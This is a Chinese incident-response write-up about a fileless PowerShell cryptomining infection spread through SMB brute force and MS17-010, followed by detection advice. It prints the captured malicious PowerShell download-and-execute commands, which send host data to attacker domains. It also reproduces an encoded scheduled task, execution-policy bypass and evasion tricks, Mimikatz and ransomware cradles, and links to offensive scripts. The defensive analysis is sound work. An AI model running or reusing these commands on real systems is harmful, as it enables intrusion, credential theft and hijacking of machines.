一、概述
1.1 概述
前段时间遇到一起案例主要是通过powershell进行挖矿的使用该技术来进行挖矿的案例非常之多但是个人感觉还是可以总结与分析一波可以对这种技术进行详细分析 以后讨论一下如何进行有效的监测与防护。
1.2 个人思路
通过最近遇到的几起应急事件越来越感觉恶意样本分析在应急响应的过程中会越来越重要特别是恶意样本的逆向分析所以搞应急的兄弟们需要多注重样本分析这块 同时 样本解密这一块也需要做些了解目前发现很多恶意样本都会进行加密来躲避杀软以及安全研究人员的分析。
另外无文件攻击会综合使用系统的白名单功能如powershell PSExec以及各种变形 加密 混淆 恶意文件放在远程服务器上通过下载到内存中执行等方式来执行导致其在防护这块还是存在很多技术难度 但是其在发生事件后的监测还是有很多方式的 如流量 日志 内存等方式来监测 通过无文件攻击这一块本文会在事后监测这块做一些分享。
二、 应急响应案例
2.1 分析结论
1、此次攻击主要利用SMB匿名登录以及口令爆破利用病毒投放;
2、目前只捕捉到基于TCP 445的病毒投放动作但是分析其攻击文件里面还会有针对1433 3389以及65529的扫描行为后续可能会利用相关端口进行横向渗透以及病毒投放行为;
3、挖矿病毒通过powershell驻留在内存中通过CPU进行挖矿会导致CPU占用100%。同时挖矿病毒在本地无落地文件因此需要dump内存才能分析相关行为;
4、同时还会利用定时任务定时下载恶意文件来进行攻击行为;
5、内网大量机器开放445端口并且未打补丁建议后期批量封堵445以及打补丁;
6、通过现有的日志发现最早的攻击时间为2019年9月10日23:48分。
2.2 过程分析
2.2.1 现象确认
某用户通过前线技术反馈可能存在powershell挖矿行为通过前线技术兄弟协助找到其中一台存在异常的服务器(192.168.0.8)进行分析发现其CPU利用率为100%。
对CPU利用率进行排名发现占用CPU比较高的都为powershell。
2.2.2Powershell分析
分析powershell这一块可以使用processhackerprocessmonitorprocessexplorer火绒剑等来分析火绒剑界面相对友好各种功能也很强大缺点就是需要安装并且经常很卡个人喜欢使用ProcessHacker这个功能。
利用ProcessHacker分析Powershell的命令参数相关的参数如下:
"C:Windowssystem32cmd.exe"/c powershell -nop -w hidden -ep bypass -c"$ifp=$env:tmp+'if.bin';if(test-path$ifp){$con=[System.IO.File]::ReadAllBytes($ifp);[System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString('X2')};if($s-ne'abcc20b2de0b18c895b94d2c23c0bc63'){$con=''}}if(!$con){$con=(New-ObjectNet.WebClient).downloaddata('http://down.ackng.com/if.bin?ID=WIN-707K0JETN3J&GUID=4****544-0046-3710-8037-B7C04F344E32&MAC=D0:94:66:30:8B:7D&OS=6.3.9600&BIT=64位&USER=WIN-707K0JETN3J$&DOMAIN=WORKGROUP&D=&CD=MatroxG200eR (Renesas) WDDM1.2&P=1&FI=0&FM=1&IF=1&MF=1&HR=39.67,41.44,41.89&UP=405600.656&_T=1568219962.54539');[System.IO.File]::WriteAllBytes($ifp,$con)}IEX(-join[char[]]$con)"
对上面的powershell参数与命令进行分析相关参数含义如下:
-nop 不加载配置文件
-w hidden 隐藏执行命令窗口
-ep bypass 忽略执行策略文件
-c powershell 命令
主要的功能如下:
1.校验本地TMP目录下是否存在if.bin的文件,
2.并校验其MD5是否为abcc20b2de0b18c895b94d2c23c0bc63
3.若if.bin这个文件不存在,则从http://down.ackng.com/if.bin下载相应的文件同时上传上传本机的相关信息(GUIDMAC地址操作系统位数机器名工作组等信息)
对if.bin进行分析发现其是powershell木马以及反弹后门。
2.2.3 If.bin样本分析
前面分析可以了解到powershell的主要目的是为了下载if.bin这个文件所以我们对if.bin进行分析直接下载下来分析相关文件进行了加密。
分析做加密方式主要是通过base64和DeflateStream两种方式需要对样本进行解密相关解密方式可使用CyberChef来进行解密使用方法可参考反混淆神器!CyberChef助你秒解混淆脚本
对其进行解密还原还原后的部分核心内容如下所示:
2.2.3.1 端口转发
开放65529端口并将其转发到1.1.1.1的53端口同时创建一个定时任务每10分钟运行一次(个人猜测这个功能是攻击者从网上抄的目前其实并未起到效果)
2.2.3.2 定时任务
创建定时任务每60分钟运行一次主要功能为通过http://t.zer2.com下载恶意文件放到powershell中运行同时还会上传本机信息(MACGUIDuser,domain等)
2.2.3.3 SMB爆破
2.2.3.4 shellcode
2.2.3.5 MS17-010漏洞传播
2.2.3.6 获取系统信息
获取用户信息DumpHash获取UserHashes获取启动项目等
2.2.3.7 端口扫描
可以看出对恶意样本的分析还需要对样本进行代码级别的分析这样可以还原样本的所有功能如果我们通过网络流量日志等其他方式来进行分析的话一方面可能因为样本的执行需要满足一定条件才会触发另一方面样本的功能我们通过日志和流量只能采集到部分功能。
2.2.4 内存分析
我们知道,powershell相关的行为都是驻留在内存中在本地无落地文件因此我们直接使用ProcessHacker来dump了Powershell的内存数据进行分析。
使用Notepad++打开内存数据过滤其中内容可以看到其正在执行上述powershell命令:
内存里主要从http://down.ackng.com/if.bin下载bin文件相应的文件主要功能参考2.2.3的分析。
2.2.5 定时任务分析
一般情况下powershell利用定时任务来进行传播因此对定时任务分析对192.168.0.8的定时任务分析其定时任务如下:
可以看到该定时任务开始时间为2019年9月10日20:35分这个时间也就是挖矿病毒感染那段时间前后同时该定时任务每1小时执行一次。
同时定时任务主要是执行powershell,其执行的命令如下:
cmd /c "setA=power& call %A%shell -ep bypass -eJABMAGUAbQBvAG4AXwBEAHUAYwBrAD0AJwBEAFoAWABIAFEAegBxAGoAJwA7ACQAeQA9ACcAaAB0AHQAcAA6AC8ALwB0A**AegBlAHIAMgAuAGMAbwBtAC8AdgAuAGoAcwAnADsAJAB6AD0AJAB5ACsAJwBwACcAKwAnAD8AaQBwAGMAXwAyADAAMQA5ADAAOQAxADAAJwA7ACQAbQA9ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtA**ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApA**ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHkAKQA7AFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AF0AOgA6AEMAcgBlAGEAdABlACgAKQAuAEMAbwBtAHAAdQB0AGUASABhAHMAaAAoACQAbQApAHwAZgBvAHIAZQBhAGMAaAB7ACQAcwArAD0AJABfA****ABvAFMAdAByAGkAbgBnACgAJwB4ADIAJwApAH0AOwBpAGYAKAAkAHMALQBlAHEAJwBkADgAMQAwADkAYwBlAGMAMABhADUAMQA3ADEAOQBiAGUANgBmADQAMQAxAGYANgA3AGIAMwBiADcAZQBjADEAJwApAHsASQBFAFgAKAAtAGoAbwBpAG4AWwBjAGgAYQByAFsAXQBdACQAbQApAH0A"
直接解密定时任务的内容解密后为:
IEX(New-ObjectSystem.Net.WebClient).DownloadString(http://t.zer2.com/v.jsp?msolow)
2.2.6 网络连接分析
发现对对内网445端口以及65529端口的扫描行为
相关行为在if.bin文件中可以看到相关的代码不仅会扫描44565529还会扫描1433和3389只是在192.168.0.8这台机器上未捕捉到扫描3389和1433的行为。
2.2.7 日志分析
通过对日志分析发现网络中存在大量的基于SMB的爆破行为相关日志如下:
通过目前现有的已经记录的日志最早可以追溯到2019年9月10日23:48:48就存在相应的SMB爆破行为相关的攻击IP为192.168.0.28
爆破成功日志
2.2.8开放端口
内网大量机器开放TCP 445导致该病毒可以快速传播。
2.2.9补丁分析
由于该病毒会利用永恒之蓝(MS17-010)进行传播分析192.168.0.8发现其未打相关补丁。
三、攻击方式
3.1 感染途径
3.1.1 邮件
电子邮件是powershell 下载者最常见的传播手段垃圾邮件中经常在.zip包中包含powershell 脚本文件这些文件有以下扩展:
.lnk .wsf.hta .mhtml .html.doc .docm .xls
.xlsm .ppt.pptm .chm .vbs .js.bat .pif .pdf.jar
3.1.2 Office宏文档
powershell.exe–nop –w hidden –c
“IEX((NEW-object net.webclient).downloadstring(http://192.168.0.42:80/a))”
3.1.3 各种EXP
包括各种RCEweb漏洞系统漏洞(MS17-010等)攻击者比较喜欢的方式特别是可以工具化自动化利用的EXP
3.2 免杀对抗
3.2.1 隐藏执行窗口
–WindowStyle hidden / -whidden:对用户隐藏PowerShell程序窗口以隐藏操作痕迹
3.2.2 管道
最常见的bypass执行策略通过管道方式将脚本内容插入到powershell.exe的标准输入内这种方法不会改变配置但要求写入磁盘:
`Typehelloword.ps1 |powershell.exe -NoP
> -noprofile简写-NoP 为不加载windowspoweshell配置文件
你也可以从网络上下载脚本并执行这样就不会写入磁盘和修改配置文件
powershell -nop-c "iex(New-Object Net.WebClient).DowndloadString('url')"
> iex Invoke-Expression允许用户计算和运行动态生成的命令输出命令的执行结果
> (New-ObjectNet.WebClient).DownloadString最为常见的远程下载方法Invoke-WebRequest,BitsTransfer,Net.Sockets.TCPClient都能执行类似的功能
3.2.3 Exec bypass
使用powershell策略中的bypass策略这种方法不会改变配置或者要求写入磁盘并且不会有任何的警告或提示如果你使用Unrestricted在运行网上下载的未被签名的脚本时会有警告
powershell.exe-ExecutionPolicy bypass -File helloworld.ps1
> -exec bypass 忽略执行策略文件
> -File 指定文件
3.2.4 编码与加密
使用加密方式绕过首先需要将命令stream加密再base64加密即可命令如下:
3.2.5 指定版本参数不记录参数
指定版本参数使得攻击者可以降低powershell到一个旧版本新版本如-version 2.0可以记录操作
3.2.6 PSConsole
使用PSConsole指定powershell控制文件
3.2.7 样本案例
Cmd /c powershell-w hidden -ep bypass -c while($True){try{IEX (New-ObjectNet.WebClient).downloadstring(<a href=”http://t.zer2.com/ipc.jsp?l“>http://t.zer2.com/ipc.jsp?l</a>)}catch{Sleep -m2500000}}
Cmd /c 使用cmd加载powershell
-nop 不加载配置文件
-w hidden 隐藏执行窗口
-c 执行命令
3.3 Powershell在攻击活动中的应用
3.3.1 挖矿
powershell”if(!(string).contains(‘SCM EventFilter’))
{IEX(NewObjectNet.WebClient).DownloadString(‘<a href=”http://xxxxxxxx:8000/info6.ps1“>http://XXXXXXXX:8000/info6.ps1</a>’)}”
3.3.2 勒索
Powershell.exe–windowstyle hidden
(New-ObjectSystem.Net.WebClient.DownloadFile
(‘http://[REMOVED]’,’%Temp%[RANDOM].exe’);Start-Process‘%Temp%[RANDOM].exe’
3.3.3 横向渗透
常用的横向移动方法如下:
Invoke-Command
Enter-PSSession
WMI/wmic/Invoke-WMImethod
Profile injection
Task Sheduler
Common tools e.g. PsExec
Invoke-Command
Invoke-Shellcode,支持msf部分功能
脚本下载地址:
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/12ce71b9f4b0428d9425e001e5988f91eb2b8b87/CodeExecution/Invoke–Shellcode.ps1
Invoke-PortScan,端口扫描
脚本下载:
https://github.com/samratashok/nishang/blob/master/Scan/Invoke-PortScan.ps1
Invoke-ReflectivePEInjection,开启代理
脚本下载:
https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1
3.3.4 其他
如提取密码,
IEX(New-ObjectNet.WebClient).DownloadString(http://192.168.1.108/Invoke-Mimikatz.ps1);
Invoke-Mimikatz
四、如何发现
由于无文件挖矿本身没有文件落地因此常规基于文件的杀软很难有效进行查杀目前比较主要的发现机制个人总结如下:
4.1 内存
由于无文件攻击主要在内存中执行因此可以通过分析内存的方法来分析相应的攻击行为这样的话需要周期性的将内存dump出来对于某个进程可以使用ProcessHacker来dump对于整台服务器的内存可以使用RamCapturer来dump内存同时使用Volatility分析Linux可以使用dump命令直接将内存导出:
4.2 日志
正常情况下powershell执行的命令通过系统层面的日志是无法直接记录的但是微软的工具sysmon可以记录到powershell的攻击行为,关于sysmon的相关功能和使用大家可以网上找找sysmon相关事件id的主要功能如下:
序号 | ID | Tag |
---|---|---|
1 | ProcessCreate | Process Create |
2 | FileCreateTime | File creation time |
3 | NetworkConnect | Network connection detected |
4 | n/a | Sysmon service state change (cannot be filtered) |
5 | ProcessTerminate | Process terminated |
6 | DriverLoad | Driver Loaded |
7 | ImageLoad | Image loaded |
8 | CreateRemoteThread | CreateRemoteThread detected |
9 | RawAccessRead | RawAccessRead detected |
10 | ProcessAccess | Process accessed |
11 | FileCreate | File created |
12 | RegistryEvent | Registry object added or deleted |
13 | RegistryEvent | Registry value set |
14 | RegistryEvent | Registry object renamed |
15 | FileCreateStreamHash | File stream created |
16 | n/a | Sysmon configuration change (cannot be filtered) |
17 | PipeEvent | Named pipe created |
18 | PipeEvent | Named pipe connected |
19 | WmiEvent | WMI filter |
20 | WmiEvent | WMI consumer |
21 | WmiEvent | WMI consumer filter |
22 | DNSQuery | DNS query |
可以通过事件ID 1来分析相关的命令执行情况id 1表示进程创建行为各种进程创建命令执行都会通过事件id来记录因此我们可以通过事件id 1来记录相关的powershell命令执行的行为然后通过Image过滤powershell.exe相关的操作行为这样的话可以记录到powershell命令执行日志然后对所有的powershell命令进行分析正常情况下很少遇到通过powershell进行运维或相关操作的情况因此一旦有powershell的相关行为都可以进行分析;如果具体环境里有使用Powershell的情况这个时候就需要对powershell的命令内容进行过滤与分析了分析的重点在于相关的命令参数url等。
下图是使用cmd执行powershell命令通过sysmon监控到相关的日志情况
4.3 流量
由于无文件在本地无落地文件因此本地杀软很难有效查杀但是即使在内存里面执行其都会产生相应的网络流量因此可以在流量层面弥补杀软的不足通过流量层面过滤相应的URL IP MD5等进行安全分析 这一块在实际工作中有很多落地的场景本块就不细讲。
4.4 Powershell命令参数
可以对powershell的命令进行监控来分析其是否为可疑正常情况下运行powershell一般不会加一些参数攻击者为了防止被发现所以会加上相关的参数来对抗杀软以及研究人员相关可疑的命令参数如下所示:
NoProfile –nop 不加载配置文件
iex $env:randomname
DownloadFile下载文件到本地
Downloadstring 下载文件到内存
-w hidden 隐藏执行命令窗口
-ep bypass 忽略执行策略文件
Unrestricted
4.5 进程调用
正常情况下是powershell的父进程是explorer
在实际的攻击过程中经常发现其父进程为cmd.exe其祖父进程为explorer.exe
同时在某些场景下管理人员也会使用cmd调用powershell这个时候我们需要分析调用powershell的祖父进程若其祖父进程为winword.exewinword.exe或者wuapp.exe这种情况表明某个脚本启动了cmd.exe这个时候我们需要深入分析一些哪些具体哪个脚本或模板调用的cmd进程。
本文始发于微信公众号(疯猫网络):应急响应系列之无文件攻击分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论